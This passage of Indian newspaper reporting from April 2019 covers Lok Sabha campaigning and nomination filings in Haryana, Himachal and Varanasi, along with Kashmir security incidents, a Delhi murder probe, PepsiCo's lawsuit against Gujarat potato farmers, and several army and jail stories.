reported and Hoodaa role was alleged, the situation might not be that favourable for the Congress this time around. Hoodas various acts of omission and commission, besides his role in the Jat quota agitation, will cost him and his MP son Deepinder Hooda dearly in both Sonepat and Rohtak constituencies. In fact, Deepender won the Rohtak seat thrice in a row in the wake of blatant misuse of the official machinery when his father was the Haryana Chief Minister and the 2019 elections would be the real test of Hoodas popularity, Finance Minister Capt Abhimanyu told The Tribune. The fact that the BJPs top leaders, namely Chief Minister Manohar Lal Khattar, Lok Sabha in charge Kalraj Mishra, state BJP president Subhash Barala and Cabinet ministers Ram Bilas Sharma, Capt Abhimanyu, OP Dhankar and Manish Grover, were present during the filing of nomination by Arvind Sharma, party candidate from Rohtak, has showed that the BJP was making all efforts to checkmate Hooda in his stronghold. Digvijay Chautala, JJP-AAP combine candidate from Sonepat, will also add to Hoodas troubles. LS poll to test Hoodas popularity, says FM Bhupinder Singh Hoodas various acts of omission and commission, besides his role in the Jat quota agitation, will cost the former CM and his son Deepender Hooda dearly. The present elections will be a real test of Hoodas popularity. Capt Abhimanyu, Finance Minister editorial@tribune.com Our Correspondent Hamirpur, April 25 Congress candidate from Hamirpur Ram Lal Thakur today filed his nomination in the presence of senior Congress leaders Sukhwinder Singh Sukhu, Suresh Chandel, Mukesh Agnihotri and Rajesh Dharmani. The event was a virtual show of strength and unity by the Congress. The leaders accompanied him to the Deputy Commissioners office as he filed his nomination. Lt Col Dharmender Singh Patial (retd) filed his nomination as a covering candidate. Thakur, sitting MLA from Shri Naina Devi in Bilaspur district, was a Cabinet minister in the Virbhadra Singh-led Congress government in the state. Former Chief Minister Virbhadra Singh said the BJP had been exposed and it could no longer mislead people with false promises. The Congress was united and all leaders were working for the success of the party candidates. AICC in charge Rajni Patil said the abusive language being used by BJP leaders was a manifestation of their frustration as they had sensed defeat by seeing the writing on the wall. She said the BJP was again trying to shift focus from issues to non-issues as it had no explanation for its failed promises, including job creation, waiving of farmer loans and bringing back black money. Rathore said the Congress would win in all four seats. Suresh Chandel, former BJP state president and three-time MP from Hamirpur, who recently joined the Congress, said there was a huge difference in preaching and practising of BJP leaders. I will work to ensure the victory of Ram Lal Thakur and other Congress candidates in the state, he said. An experienced campaigner Ram Lal Thakur was first elected to the Legislative Assembly in 1985 and was re-elected in 1993, 1998, 2003 and 2018. He was the Minister of State for Law, Youth Services and Sports, Ayurveda and Local Self-Government from 1985 to 1990. He was the Health Minister in the Congress government from 1996 to 1998 and Minister for Industries, Forest, IT and Youth Services and Sports from March 2003 to 2007. Son of Paras Ram Thakur of Ghial village, near Namhol, in Bilaspur district, Thakur was born on June 7, 1951. editorial@tribune.com Bhanu P Lohumi Tribune News Service Shimla, April 25 These elections will script the future of the country with an accelerated pace of development and the BJP will not only retain all four seats in Himachal with a bigger margin, but also sweep the poll. This was stated by Chief Minister Jai Ram Thakur here today. Addressing a rally after filing of nominations by BJP candidate Suresh Kashyap from Shimla (reserved) constituency, Thakur said the Congress was demoralised as it had seen the writing on the wall, while the BJP was targeting 400-plus seats. Our slogan in Himachal is Ab ke bar, char ke char and workers are full of enthusiasm as the party will seek votes on the basis of performance, he said. The BJP decided its candidates in 15 minutes, while the confusion prevailed in the Congress as most of its senior leaders were unwilling to enter the fray and it had to depend on borrowed candidates. Terming the mahaghatbhandan as maha-milavat, he said it is a rudderless alliance wherein every leader was eying the post of Prime Minister, but people, especially the first-time voters, wanted a strong leadership, essential for national security, which only PM Modi can provide. Earlier, the Congress government only wrote letters after terrorist attacks, but under the NDA regime, the terrorists got a suitable reply and were paid back in the same coin, he said. Referring to certain remarks made by state party chief Satpal Singh Satti, the CM said it was an outburst and a reaction to the derogatory statements made by Congress president Rahul Gandhi against the Prime Minister. Former Chief Minister PK Dhumal said the BJP government had strengthened the armed forces and fulfilled the pending demand of One rank, one pension (ORPO), while the Congress had promised to abolish the Armed Forces Special Power Act (AFSPA), which was essential to curb terrorist activities. Former Chief Minister Shanta Kumar made an appeal to voters to ensure the victory of BJP candidates on all four seats. He said his last wish was to see Himachal as the happiest state in the country. Satti said both BJP and Congress candidates from Shimla were ex-servicemen, but Kashyap supported the action of PM, while Shandil suspected it. BJP leaders take a dig at Sukh Ram Sukh Ram has deserted political parties five times and is called Aaya Ram, Gaya Ram in Himachal. Shanta Kumar Ashray told me that it is his grandfathers dream to see him as an MP, but grandfathers dreams are not fulfilled in the BJP, which is against dynastic succession. Jai Ram Thakur editorial@tribune.com Pratibha Chauhan Tribune News Service Shimla, April 25 An incorrigible state BJP president Satpal Satti has been issued the third notice on the directions of the EC for using derogatory language against his political opponents. The Deputy Commissioner, Mandi, has issued him notice through the DC, Una, and he has been given 24 hours to file his reply. This is the third notice that has been served on Satti in the last fortnight for his derogatory utterances against Congress leaders. The notice has the verbatim speech of Satti in Hindi, the objectionable portions for which he has been issued the third notice. I am of the opinion that by making these statements you have violated the guidelines of the Model Code of Conduct, wrote Rugved Thakur, DC, Mandi, who is the District Election Officer for the Lok Sabha segment. The video clip of the objectionable parts of Sattis speech has been given to him along with the notice. While the notice was served on Satti today, he was attending the election meeting on the filing of nomination by party candidate Suresh Kashyap from Shimla. The third notice seems to have had some impact as Satti was cautious in the choice of words as he addressed a gathering at Chaura Maidan in the prsesnce of CM Jai Ram Thakur and former CMs Shanta Kumar and PK Dhumal. The notice has been issued to Satti on his latest remarks made yesterday on the filing of nomination by party candidate Ram Swaroop at Mandi. He had said he would cut the arms of anyone who points a finger at BJP leaders or the PM. He even had gone to the extent of stating that had it not been for the code of conduct, he would have given a befitting reply to the Congress right there. He had asked, If anybody calls our leader (PM) chor, are we expected to keep quiet? Satti has been reprimanded by the EC twice earlier by imposing a 48-hour ban and issuing a warning for his remarks at election meetings in Nalagarh and Una. The EC had issued him a warning on the second notice not to repeat such behaviour but the BJP chief chose to ignore it. editorial@tribune.com Tribune News Service Srinagar April 25 The National Investigation Agency (NIA) on Thursday arrested two Kashmiri youths in the Jaish-e-Mohammed (JeM) conspiracy case for waging a war against the Central government and setting up bases in Delhi and other parts of the country. Both youths were at the Kot Bhalwal Jail in Jammu facing the Public Safety Act (PSA) before they were taken into custody by the NIA. Today, the NIA arrested two members of the proscribed terrorist outfit JeM, said NIA spokesperson Alok Mittal. They have been identified as Tanveer Ahmad Ganie (29) of Mandoora and Ahmad Mir (23) of Gadapora in south Kashmirs Pulwama district. Both were brought from the Kot Bhalwal Jail, Jammu, where they have been detained under the PSA and produced before the NIA Special Court today against a production warrant, he said. The NIA court sent them into seven days custody. During the investigation, it was found that an accused arrested earlier, Sajjad Ahmad Khan, was in regular contact with these accused over WhatsApp during the relevant period, he said. Sajjad was arrested by the Special Cell, Delhi Police, on March 21 and handed over to the NIA the next day on the charges of waging a war against the Centre and for hatching a criminal conspiracy by the top leadership of JeM based in Pakistan to strengthen the base of the outfit in India by recruiting persons for carrying out terrorist acts. The NIA said Sajjad was specially sent to Delhi to set up hideouts in the NCR. This was done to select specific targets and also to radicalise and recruit Muslim youths for terror activities, Mittal said. editorial@tribune.com Tribune News Service Srinagar, April 25 Peoples Democratic Party president Mehbooba Mufti on Thursday hit out at the Centre over issuing the summons to jailed separatist leader Shabir Shahs daughter. She called it vindictive politics. This is very bad. They are playing vindictivepolitics just to garner votes during the elections. After the summons to Mirwaiz Umar Farooq and Yasin Malik, the summons by the Enforcement Directorate to Shabir Shahs daughter is very shameful for the whole country, Mehbooba told reporters in south Kashmirs Kulgam district. The Enforcement Directorate had issued the summons to Shahs daughter, Sama Shabir, in a money-laundering case of 2005. Sama, who is studying law in the United Kingdom, was only five years old when the case was registered. Peoples Conference chairman Sajad Lone said every red line had been crossed. Everything seems to be going terribly wrong. Unbelievable but true. Summons to Shabir Shah sahib daughter. Who would do this. Every possible red line has been crossed, Lone tweeted. pardeepdhull@gmail.com New Delhi/Srinagar, April 26 The Election Commission officials will meet in the National Capital on April 30 to discuss the possible dates of the Jammu and Kashmir Assembly polls, official sources said on Friday. On Friday, top officials from the Jammu and Kashmir government, including Chief Secretary B V R Subrahmaniam, Home Secretary Shaleen Kabra and DGP Dilbagh Singh, met the Election Commission officials in Delhi to discuss the poll preparedness in the state, officials said. However, the Jammu and Kashmir Governor Administration is not in favour of holding polls to the state legislative Assembly in the near future in view of the ongoing tourist season and the forthcoming Amarnath Yatra in the Valley, which will begin on July 1, they said. The sources said the full commission comprising the chief election commissioner and two fellow commissioners will meet on April 30 to discuss the possible dates of the Jammu and Kashmir Assembly polls. The officials said the EC, during the meeting, rejected the assertion of the officials from Jammu and Kashmir that the situation in the state needs to be assessed before conducting the Assembly polls. They said the Commission was of the view that if the Lok Sabha polls could be held, there should be no issue in holding the elections to the state Assembly. The meeting took place days after the three special observers appointed by the EC submitted their report on the possibility of holding Assembly polls after the Lok Sabha polls. The state chief electoral officer had met the deputy election commissioner concerned on Thursday, ahead of Fridays meet. On Friday, the election authorities in Jammu and Kashmir had written to district election officers to submit list of district level nodal officers within two days for assembly polls in the state. However, the order was withdrawn within hours of it being issued. Jammu and Kashmir has not an elected government since the PDP-BJP coalition government fell apart in June 2018. The state was placed under Governors rule, as provided by the Constitution of Jammu and Kashmir, on June 19, 2018, after the BJP withdrew from its coalition with the PDP. As mandated by the Constitution, the state was brought under Presidents rule on 19 December 2018, which will have to be extended for a period of six months on May 19, 2019, or till an elected government is put in place, whichever is earlier. PTI editorial@tribune.com Our Correspondent Bijbehara, April 25 Two local militants of the HizbulMujahideen were killed in a pre-dawn gunfight with security forces in Bijbehara town of south Kashmirs Anantnag district on Thursday. The slain militants were identified as Safdar Amin Bhat, a resident of the Bijbehara town, and Burhan Ahmad Ganie, alias Dr Burhan, a resident of the SK Colony area in main town Anantnag. Bhat had joined the militant ranks in May 2017, while Ganie, who was pursuing bachelors in physiotherapy, had joined the ranks in June last year. The gunfight, first in main town Bijbehara in 19 years, took place near the local public works department (PWD) office, along the old alignment of the Srinagar-Jammu national highway. The PWD office served as a polling booth on April 23 where former Chief Minister Mehbooba Mufti cast her vote. We had inputs about their presence and we laid a cordon and began the search operations around2 amon Thursday, a senior police officer from Bijbehara said. He said the militants were told to surrender, but they, instead, chose to fight and opened fire around2.30 am which was duly retaliated. The exchange of fire continued for more than three hours before both militants were neutralised, the official said, adding that the bodies, along with weapons and some incriminating material, were retrieved from the house. The house where militants were held up was damaged by the use of heavy explosives by the security forces. Later in the day, the bodies of the militants were handed over to their families. Amid a shutdown across Anantnag, thousands reached Bijbehara and the SK Colony area of the Anantnag town to participate in multiple rounds of funeral prayers held for the slain. The authorities had not restored the Internet services across Anantnag town till reports last came in. harinder@tribunemail.com Hirday Paul Singh GURbakhsh Singh Preetlari, whose birth anniversary falls today, is best remembered for his immense contribution to Punjabi language, literature and culture. However, few know that he was also an accomplished engineer. Gurbakhsh Singh did a diploma in civil engineering from Thompson Engineering College (presently Indian Institute of Technology), Roorkee, in 1917. He served as a civil engineer with the Indian Army deployed in West Asia during World War I. In1919, he went to the US, where he obtained a civil engineering degree from Michigan University and worked there for a year. On his return, he joined the railways and remained in service till 1932. During this period, he raised the railway workshop at Dahod (Gujarat) and supervised the completion of a railway bridge on the Chenab near Chiniot (Bahawalpur region, now in Pakistan). While he was still employed with the railways, he decided to leave his spacious house at Naushehra an important cantonment of North Western Frontier Province and took up residence in a two-room mud-house at Peer Sabaak village, 5 km on the other side of the Kabul river. By employing his engineering skills, and also by using ordinary and almost discarded material, he transformed the mud-house into a commodious place with a novel look. It drew many people, who marvelled at it. Under his guidance and in coordination with 15 colleagues, a township named Preet Nagar (Town of Love) came up in 1938. It lay between Lahore and Amritsar and was situated at a place which, with the passage of time, had turned into a ruin of royal grandeur. It was suitable for launching the much-needed movement for enkindling fondness for better living among people in villages. And so, it became the planned township of Punjab; its first rural socio-cultural hub. Every care was taken to create infrastructure for providing facilities for a wide range of economic, social-ethical and cultural needs. Structures that remained unscathed from the ravages of time were renovated and reassigned a special purpose. The novelty of the newly created infrastructure was that it came up with local material and by engaging labour from neighbouring villages. The township took a modern look with quite a few urban facilities. It served as an example of self-sustenance, self-maintenance and self-reliance. That is why it came to be known as the Land of Dreams. He also experimented with mechanised farming, taking a hundred acres from the managing committee of the samadh of Akali Phoola Singh at Peer Sabaak. From an engineer he became a farmer. He carried on the endeavour for almost four years, but the venture turned out to be non-remunerative. He abandoned it, but took it up again in 1938 at Preet Nagar. He was later honoured by the PAU for being the first progressive mechanised farmer of Punjab. rchopra@tribunemail.com New Delhi, April 25 Apoorva, the lawyer wife of Rohit Shekhar Tiwari who has been arrested for allegedly killing him, had shown confusing behaviour, a police officer said on Thursday, adding that she regretted her action sometimes and appeared cold about the incident other times. During four days of intense interrogation, she did not break down once but now she appears to be regretting smothering Tiwari on the night of April 15-16. She also claimed that Tiwaris mother, Ujjwala, often interfered and this affected the couples relationship, the officer said. On the night Tiwari was killed, he and Apoorva were in their room at the Defence Colony residence when they had a fight over Tiwaris proximity with his sister-in-law. She told him she did not like his proximity with his sister-in-law and that he used to drink with her. He teased her saying that when he was returning from Uttarakhand, he and his sister-in-law drank alcohol from the same glass. This angered Apoorva. She held on to his neck and when he tried to raise an alarm, she choked him with a pillow, the officer said. Police sources, meanwhile, claimed that a letter, written by the District Bar Association of Indore on April 22, was received by the Crime Branch. It sought a fair probe in the case and urged the police department to ensure that Apoorva is not implicated, they said. The letter also indicated that Apoorva might have been framed since Tiwaris family did not want her to get any share in his property. But the family has claimed the letter was written at the behest of Apoorvas father, who is a well-known lawyer in Indore and served at a top post in the bar association, sources said. Police have sought call details of the landline number at Tiwaris Defence Colony residence. They have also taken Apoorvas nail samples to ascertain if Tiwaris skin was stuck in them during the fight, or to see the possibility of any other DNA present there. But, sources said, there might not be any clue as the samples were taken a few days after the killing. The south district police, which investigated the case previously, did seal the room on April 16 after Tiwari was declared brought dead at a city hospital. Initially, it was suspected that he had died of natural causes but after an autopsy, it was found he was smothered with a pillow. Police said she did enter the room a couple of times after allegedly killing him at around 1 am, so there are high possibilities of the crime scene being contaminated. She must have tried to tamper with the bedsheet and the pillows and tried to dress up the room to destroy the evidence, the police officer said. According to him, Apoorva strangled Tiwari with bare hands and then used the pillow, so that he could not shout for help. She managed to keep his death a secret for almost 14 hours. On Wednesday, Apoorva was taken to the Defence Colony residence where police recreated the crime scene. Tiwaris family suspect he was allegedly drugged by Apoorva before being killed. Only the viscera report would confirm if he was drugged, the officer said. Bedsheets, pillows and Tiwaris clothes have been sent for forensic examination. Police said Tiwari was short-tempered and the couple often fought over trivial issues since their marriage about a year ago. The police officer ruled out any possibility of psychological examination of Apoorva. PTI uttara@tribuneindia.com Tribune News Service Ahmedabad, April 26 PepsiCo said on Friday that Gujarat farmers currently facing lawsuit should either stop using the protected variety or enter into an agreement with the company to sell the produce on its terms. In a court hearing on Friday, the company said that the farmers could use its seeds and sell the produce to the company on terms it already offers to other farmers in the state. Advocate Anandvardhan Yagnik, who represents the farmers in the case, told the court that farmers will respond once PepsiCo puts forward its proposal in writing. Pepsico has sued nine farmers from Sabarkantha and Aravalli district for damages in two separate lawsuitsone for Rs 1 crore each from four farmers and another for Rs 20 lakh each from the remainingfor growing a variety of potatoes it claims under Plant Variety Protection (PVP) rights. The two cases are currently at two different courtsone in Ahmedabad and another in Modasa. Over 190 farm activists have for the central governments intervention. The Protection of Plant Varieties and Farmers' Rights Authority Act 2011 exempts farmers from PVP rights, said Kapil Shah, who heads Jatan, an organisation dedicated to organic farming. "India had designed a sui generis law of 2001 in compliance with World Trade Organisation's agreement on Trade-Related Aspects of Intellectual Property Rights. Under this statute, farmers' have rights under Section 39 with regard to seeds and planting material irrespective of any other clause in the Act," Kapil Shah of Jatan said. "It is for the state government to ensure that farmers are not harassed. The company should immediately withdraw the case which is untenable," said Sagar Rabari of the Gujarat Khedut Samaj. In a letter to the Ministry of Agriculture, 194 signatories have sought financial aid and protection of rights of farmers who have been sued for growing and selling a potato variety called FC-5 potato, for which PepsiCo India Holdings claimed to have obtained "exclusive rights in the country in 2016". These representatives have sent a memorandum to Dr K.V. Prabhu, Chairperson, Protection of Plant Varieties and Farmers' Rights Authority, under the Union Ministry of Agriculture & Farmers Welfare, urging him to take immediate action. PepsiCo claims exclusive rights by virtue of Plant Variety Certificate under the Protection of Plant Varieties and Farmers' Rights Act, 2001. The company claims farmers were illegally growing, producing, selling this particular variety of potato without permission in violation of Sections 64 and 65 of the Act. Meanwhile, the companys spokesperson said: PepsiCo India has proposed to amicably settle with people who were unlawfully using seeds of its registered variety. PepsiCo has also proposed that they may become part of its collaborative potato farming programme. This programme gives them access to higher yields, enhanced quality, training in best-in-class practices and better prices. In case, they do not wish to join this programme, they can simply sign an agreement and grow other available varieties of potatoes. It is significant to note that the companys collaborative potato farming programme is best in class and is built on strong backward and forward linkages that improve livelihoods by using protected seeds. The company was compelled to take the judicial recourse as a last resort to safeguard the larger interest of thousands of farmers that are engaged with its collaborative potato farming programme. PepsiCo India remains deeply committed to resolving the matter and ensuring adoption of best farming practices, he added. ROBINSINGH@TRIBUNE.COM New Delhi, April 25 Months after Army Chief General Bipin Rawat promised to allow women to be recruited as jawans called other ranks in military parlance in select non-combat streams, the process started off today. The Navy is set to follow soon and have women in other ranks in the Provost wing and Naval band. The Provost is like Naval police. The Naval band, so far, comprises men musicians only. In the Army, the online registration for recruitment in the Corps of Military Police has been opened from today and the last date for application is June 8. This Corps does not come in direct contact with the enemy. So far, women have been inducted only as officers in the Army and this is the first time they will be taken in as jawans or in the other ranks. The project to recruit women was approved by the Ministry of Defence in January after a study with an aim to enhance their representation in the three services. Women, even officers, are not in direct combat with the enemy, though have been drafted into Corps of Signals and Corps of Engineers and get posted in forward locations. TNS ROBINSINGH@TRIBUNE.COM Tribune News Service New Delhi, April 25 The Army has joined hands with the National Hydro Power Corporation (NHPC) to construct underground caverns for storage of ammunition at four locations in the Himalayas. The services of the NHPC have been sought since it has a huge experience in making dams with underground tunnels in the mountains. The Armys size of ammunition storage caverns is almost the same strength as what tunnels are made for dams by the NHPC. These ammunition storage caverns (large caves) will come up at key locations facing China and Pakistan. A range of ammunition used by the Army bullets, rockets, anti-tank, surface-to-air missiles, etc., can be stored in the caverns. A memorandum of understanding (MoU) was been signed today. The underground storage of ammunition provides for better safety; its easier to camouflage from enemy observation and roving satellites, besides its protected against strikes like those seen during the aerial engagement on February 27 when Pakistan air force jets targeted the army installations along the Line of Control (LoC) in Jammu and Kashmir. Major armies, including that of China and the US, already use underground ammunition storage. These storage caverns will be built in high-altitude areas in the northern and eastern borders. Each of these will have storage capacity of 200 metric tonnes. The Army had earlier tried to make these caverns on its own in Sikkim and Tawang. However, seepage, dampness and other geological challenges hampered the plans. In November last year, the Army approached the NHPC. Navys plan to bolster capabilities monicakchauhan@gmail.com Amethi, April 26 Bharatiya Janata Party (BJP) supporters attacked Congress MLC Deepak Singh on a live debate on a TV news channel in Uttar Pradesh here. The incident occurred late on Thursday when the Congress MLC was replying to a question and the BJP leaders objected. The two sides got into a scuffle. The matter was resolved after intervention by others. Deepak Singh told this correspondent on Friday that he had not lodged an FIR and the other side had also not lodged any complaint. "It was unfortunate because the BJP leaders are getting increasingly intolerant. They were all local leaders," he said. IANS rchopra@tribunemail.com Mumbai, April 26 Curbing insurgency in the Northeast has been his biggest achievement as home minister, according to Rajnath Singh who says Naxal violence in the country is also on the wane. The Union Home Minister asserts that the BJP will come back to power with a thumping majority as people want the good governance of the Narendra Modi dispensation to continue. The way Modiji has led the country at national and international levels in the past five years, there is not an iota of doubt about our win with three-fourths majority in these polls, he claims. Singh says as home minister, he worked, among other things, towards curbing insurgency in the northeast and Naxalism in parts of the country. Insurgency in the northeast is almost finished. We are now in the most favourable position since 1971, when more security personnel used to get killed than Naxals. Now the trend has reversed...Our security forces have been giving a befitting reply and eliminating Naxals, he told PTI in an interview. Earlier, Naxals operated in 126 districts, but now their activities are limited to just six to seven districts, he says. We are quite sure that in coming days, we will root them out. The elimination of insurgency in the northeast has been my biggest achievement as home minister...even beyond my expectations, the former chief minister of Uttar Pradesh says. He says that as home minister, he made maximum number of visits to Jammu and Kashmir and tried to find a long-term solution to the regions problems, though it could not yield the desired results. Now, time has come to review Articles 35A and 370 of the Constitution (providing special status and rights to the state and its citizens) and assess what Jammu and Kashmir got and what it lost due to these two provisions, he says. My ministry revoked the registration of 20,000 organisations which used to get money from overseas, under the Foreign Contribution (Regulation) Act, and were involved in activities which were not in the interest of our country, he says. Singh says he does not believe that Modis persona is overshadowing the work of other lawmakers and ministers. Whatever ministers or MPs do, they do it after getting the team leaders consent; it is but natural. All policy decisions are taken under the chairmanship of the prime minister. So, saying that the work of other ministers or MPs is overshadowed is not right, he says. People are smart enough and politically aware. They have their own parameters to gauge public representatives records and performances, he adds. To a query why the BJPs campaign has no mention of demonetisation and GST, Singh, who headed the partys manifesto committee, says they are no longer poll issues. Their (positive and expected) results have started surfacing. GST has been simplified several times and we have made it abundantly clear that whenever there is a need, we will come up with more simplifications so that the business class does not suffer, he says. Asked why the BJP has imported candidates from outside the party, like Bhojpuri film actors Nirahua and Ravi Kishan, Bollywood star Sunny Deol and Pragya Thakur, he says it shows the partys inclusive and pluralistic character. Let me clarify that the BJPs core cadre is quite strong and we have no dearth of candidates. But there are some people in every society who have a large fan-following and have some intrinsic political acumen. When we get these people in our party, they become an integral part of the BJP family and by this way, our party becomes more inclusive and pluralistic, he reasons. Asked why the BJP fielded only a few Muslim candidates, he says though he was not in a position to tell the exact number, the party has given tickets to members from the community. We are very careful about our core principleSabka Saath Sabka Vikas. Unfortunately, the opposition parties are unsuccessfully trying to create a fear factor. But we have built a sense of confidence and I am quite sure that we will get their (Muslims) bigger support this time than what we got in the previous general election, he claims. Singh says the north Indians living in Maharashtra always supported the BJP ever since the party came to existence. He dubs the BJP-Shiv Sena alliance as an unbreakable bond. The coming together of two parties with same nationalist ideology is very rare. But this is possible only here in Maharashtra. Though we had some differences, they have been resolved. The BJP-Shiv Sena alliance has an unbreakable bond and we have proved it, he adds. PTI ROBINSINGH@TRIBUNE.COM Saurabh Malik Tribune News Service Chandigarh, April 25 Worshipping with their eyes closed on the banks of Bhakra canal on June 3, 2004, Kulwant Singh, his wife and two minor children were pushed into the water by a relative, Khushwinder Singh of Fatehgarh Sahib, who had taken them there on the pretext of seeking blessings from a baba. Fifteen years on, a Punjab and Haryana High Court Division Bench of Justices Rajiv Sharma and Gurvinder Singh Gill today upheld the death sentence for Khushwinder, pronounced by the Mohali CBI special judge. With the CBI probe hitting a dead-end, the case had to be shut in September 2009. But a letter from the Punjab ADGP (Crime) to the CBI in July 2012 led to its reopening. The ADGP said Khushwinder, an accused in a similar case of killing of a family where a female member survived, had during investigation confessed to his involvement in pushing to death Kulwant and his family. Speaking for the Bench, Justice Sharma said the motive attributed was that Khushwinder wanted to grab Kulwants money from a recently sold property. After developing close ties with Kulwant, who was under debt, Khushwinder persuaded the victim family to accompany him to the crime spot and pushed them into the water. While the bodies of Kulwant and his daughter Ramandeep Kaur were recovered, those of his wife Harjit Kaur and son Arvinder Singh could never be found. It has been proven on record that the appellant had planned the murder of Kulwant and his family. He pushed them into the Bhakra canal. He has played with the sentiments of gullible family The case falls within the ambit of rarest of rare cases. The appellant has killed four persons, including two minor children. There is no occasion for us to interfere with the well-reasoned judgment and order of the trial court, asserted Justice Sharma. Case files rchopra@tribunemail.com Varanasi, April 26 Prime Minister Narendra Modi filed his nomination papers for the Varanasi Lok Sabha seat on Friday, accompanied by a galaxy of top BJP and NDA leaders in what was a massive show of strength for the countrys ruling alliance. Bihar Chief Minister and JD-U chief Nitish Kumar, Union minister and LJP chief Ram Vilas Paswan, Shiv Sena supremo Uddhav Thackeray and Shiromani Akali Dal patron Parkash Singh Badal were with Modi at the Collectorate as Modi filed his papers, seeking a second term in the Lok Sabha from the temple town. BJP leaders, including party president Amit Shah, Uttar Pradesh Chief Minister Yogi Adityanath and senior Union ministers Rajnath Singh and Sushma Swaraj, were also present on the occasion. Before reaching the Varanasi collectorate to file his nomination, Modi went to a temple to offer prayers. The Prime Minister, who reached here on Thursday and brought life to a standstill as he held a 7 km roadshow through the town, also addressed party workers in the morning. The country, he said, is witnessing a pro-incumbency wave for the first time. He noted that the mood is festive from Kashmir to Kanyakumari and said party workers are the real candidates. The Prime Minister said he had worked honestly for good governance and the people had made up their minds that they wanted another Modi government. During Thursdays roadshow here, I have sensed the hard work of the party cadre, he said amid chants of Modi, Modi. Modi, who also participated in the Ganga aarti at the Dashashwamedh ghat, addressed a late-night meeting here on Thursday. While the past five years were about his government making sincere efforts, the next five would be about results, he said. Modi also laid stress on national security saying the new India gives a befitting reply to terror. In 2014, Modi had won the Varanasi Lok Sabha seat, defeating Aam Aadmi Party chief Arvind Kejriwal by a margin of 3.37 lakh votes. Modi had polled 5,16,593 votes--about half the total votes--while Congresss Ajay Rai had finished third. Rai is the Congress candidate again this time from the constituency that goes to the polls on May 19. PTI ROBINSINGH@TRIBUNE.COM Aman Sood Tribune News Service Patiala, April 25 The Punjab government today dismissed a former Superintendent of Central Jail, Patiala, two Assistant Jail Superintendents and a Head Warder on the charge of violating the jail manual and patronising extortion, torture and inhuman treatment, besides unnatural acts. Jails Minister Sukhjinder Singh Randhawa said an inquiry was entrusted to IG Kunwar Vijay Pratap Singh a few months back to probe the allegations levelled by the family members of inmates Brajesh Thakur and Kiranveer Singh. An FIR has been ordered to be registered at Organised Crime Control Unit, Mohali, against the four officers. Deputy Superintendent (Grade-2) Rajan Kapoor, the then Superintendent, Assistant Superintendents Vikas Sharma and Sukhjinder Singh and Head Warder Pragan Singh have been dismissed from service, read the orders signed by the Home Secretary (Jails). The Jails Department in its preliminary report said officials in cahoots with gangsters extorted Rs 15 lakh from Thakur. Another inmate alleged he was sexually tortured and arm-twisted to pay Rs 7 lakh to staffers. Thakur, who ran a state-funded shelter home, was shifted from a Bihar jail to Patiala on the Supreme Court orders in October. In a letter to the CM and senior police and civil officials, Thakurs mother Manorama Devi said she wanted the department to return Rs 15 lakh that was extorted from her son by torturing him under the supervision of jail officials. The report said jail officers allegedly patronised gangster Gaurav Sharma, alias Goru Baccha, who tortured Thakur for three days after switching off the CCTV cameras installed in the jail. Gangsters Amit Bhura, Bholu Havelian and Kali were also involved in the crime. The report suggests that the gangsters would sexually assault the inmates and videograph the incident at the behest of the accused jail officials. They would then use mobile phones and get in touch with the family members of the inmates and extort money, it mentioned. The ransom was allegedly received through Goru Bacchas aide Raman, who is a proclaimed offender. All jail officials were shifted from the Patiala jail following the allegations. Terming the extortion allegations false, Kapoor said he used to deal with gangsters with an iron hand inside the jail. I have been framed on the basis of statements of inmates who are already facing serious charges, he added. rchopra@tribunemail.com Sandeep Dikshit Tribune News Service New Delhi, April 26 The US declined to give India any leeway in importing oil from one of its important regional partners Iran during a high-level visit by a State Department official. As more trouble is brewing for Indias relationship with the trans-Atlantic alliance, India has subtly displayed the China card. It is opting to push upfront a possible middle-of-the-year summit meeting between the Prime Minister and Chinese President Xi Jinping as a certainty to indicate its alternative options. The meeting with US State Departments top official for South Asia Alice Wells on Wednesday and Thursday brought little joy for Indian diplomats and bureaucrats on the Iran oil issue. Wells referred to Secretary of State Mike Pompeos categorical statement asking India and seven other countries to whittle their oil imports down to zero by May 2 while declining the extension of a special exemption to India. While China and Turkey have taken the defiance route, India has opted for a lower pitch in public by displaying assuredness in locating alternative supply sources due to the impending loss of at least 13 million tones of Iran-sourced oil. The US has opened a new pressure point after it placed India on a priority watch list for deficiencies in its intellectual property rights framework. Its ally, the UK, has approached the UN alleging police torture of its citizen Christian Michael, the alleged middleman in the Agusta-Westland deal. After being extradited to India by its new-found ally the UAE, Michael is among the few prisoners allowed to be interrogated despite being in judicial custody. India is choosing to highlight an upcoming meeting with Chinese President Xi Jinping which will have a different tone and tenor. The meeting, to be held here mid-year, will be in the same format as the Wuhan informal summit last April where PM Modi and Xi conversed without official paraphernalia over two days for a total of 10 hours. Although both leaders had decided on a follow-up informal summit at Wuhan itself, both China and India have flagged it recently to play down differences on the Belt and Road Initiative and the Masood Azhar blacklisting issue. At that time, India had sought to set the right environment by cooling down its ties with the exiled Tibetan community and refraining from responding in kind to the Chinese criticism of Indian leaders visiting Arunachal Pradesh. India, however, remains on course for a stronger security relationship with the US though trade ties are facing turbulence because of the mood in Washington to review duty-free Indian exports of Rs 40,000 crore. A senior Pentagon official is here to tie up the loose ends of talks with Wells in the defence sector. US pointsman on Afghanistan Zalmay Khalilzad is due next in Delhi to address Indias concerns and involvement in settlement with the Taliban. pardeepdhull@gmail.com Sidhi (MP), April 26 Dispelling the impression that recent searches by the Income Tax Department were politically motivated, Prime Minister Narendra Modi on Friday said the law is equal for all and his residence should also be searched if he has done anything wrong. Addressing a public meeting here in Madhya Pradesh, he targeted the Congress on corruption, saying it committed the Tughlaq Road election scam, whose money was being used for the poll campaign of its chief Rahul Gandhi. Referring to recent I-T raids on the premises of aides of Madhya Pradeshs Congress Chief Minister Kamal Nath, Modi said, They are crying that why were they targeted by the agencies. But they were raided as they indulged in wrongdoing. If Modi is found to do such things, then he should also not be spared. The Central Board of Direct Taxes had said the department has also detected a trail of Rs 20 crore suspect cash allegedly being moved to the headquarters of a major political party in Delhi from the house of an important person who lives on Tughlaq Road, home to many VIPs. After the raids, a Congress leader in Madhya Pradesh had accused the BJP-led central government of targeting Opposition leaders for political vendetta. Modi tum virodhi dal valon ko kyon raid karte ho...mudda yeh nahi hai, par itna sara paisa kahan se nikla (Why is Modi targeting those in the Opposition. But this is not an issue; the point is from where has so much money come), he said. Continuing his attack on the Congress, the PM said, Ek toh chori upar se seenajori (They indulge in theft and then raise their voice too). Agar Modi bhi gadbad kar raha hai to uske ghar bhi raid panda chahiye, kanoon sabke liye saman hona chahiye (If Modi does anything wrong, then his house should also be raided. Law should remain equal for all). Slamming Kamal Nath without naming 